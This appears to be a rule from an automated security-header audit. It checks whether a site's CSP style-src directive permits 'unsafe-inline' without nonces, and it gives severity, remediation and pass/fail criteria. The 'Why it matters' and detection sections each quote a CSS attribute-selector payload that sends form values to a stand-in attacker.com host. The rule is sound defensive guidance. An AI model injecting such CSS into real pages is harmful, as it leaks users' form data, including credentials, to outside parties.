style-src does not use unsafe-inline without nonces
Why it matters
CSS injection with 'unsafe-inline' in style-src enables attribute-selector-based data exfiltration: input[value^='a'] { background: url(https://attacker.com/a) } leaks form values one character at a time without executing any JavaScript. This technique bypasses script-only XSS filters and works in environments with strict JS restrictions. CWE-79 applies to CSS-based data exfiltration, and CWE-693 covers the protection gap created by 'unsafe-inline'. OWASP A03 lists CSS injection as a distinct injection category, not merely a subcategory of script injection.
Severity rationale
Low because CSS injection cannot directly execute code but can exfiltrate sensitive form data character-by-character via selector-based side channels, making it a meaningful privacy risk for authentication forms.
Remediation
Migrate inline styles to nonce-gated style-src. Most CSS-in-JS libraries (styled-components, Emotion, vanilla-extract) support nonce injection through their server-rendering configuration.
Content-Security-Policy: style-src 'self' 'nonce-{perRequest}'
For styled-components, pass the nonce via the ServerStyleSheet API. For Emotion, configure the nonce option in createEmotionServer. Remove 'unsafe-inline' only after verifying all inline styles are nonce-tagged or migrated to external stylesheets — check the browser console for CSP violations before deploying.
Detection
-
ID:
style-src-nonces -
Severity:
low -
What to look for: Parse the CSP header for the
style-srcdirective. CSS injection is lower risk than script injection but can enable data exfiltration via CSS selectors (e.g.,input[value^="a"] { background: url(attacker.com/a) }). Check whetherstyle-srcuses'unsafe-inline'and whether nonces or hashes are present. -
Pass criteria:
style-srcuses nonces/hashes, OR does not include'unsafe-inline'— 0% of style-src sources should be'unsafe-inline'without a nonce. Count the number of style-src sources and quote the full style-src value in the report. -
Fail criteria:
style-srcincludes'unsafe-inline'without any nonce or hash. -
Do NOT pass when:
style-srchas'unsafe-inline'without any nonce — even if the project uses a CSS-in-JS library. The nonce approach works with most CSS-in-JS solutions. -
Skip (N/A) when: No Content-Security-Policy header configured. Run Security Headers & Basics first.
-
Detail on fail:
"style-src includes 'unsafe-inline' without nonces — CSS injection can enable data exfiltration via selector-based attacks"or"style-src 'self' 'unsafe-inline' — unsafe-inline weakens CSS injection protection" -
Remediation: CSS injection can exfiltrate data using attribute selectors. Migrate from
'unsafe-inline'to nonces for inline styles:style-src 'self' 'nonce-abc123'For CSS-in-JS libraries (styled-components, emotion), configure them to use the nonce attribute. Most modern CSS-in-JS libraries support nonce injection. This is lower priority than script-src nonces but still worth addressing.
External references
- cwe · CWE-79
- cwe · CWE-693
- owasp:2021 · A03
Taxons
History
- 2026-04-18·v1.0.0·Initial import from security-headers-ii·automated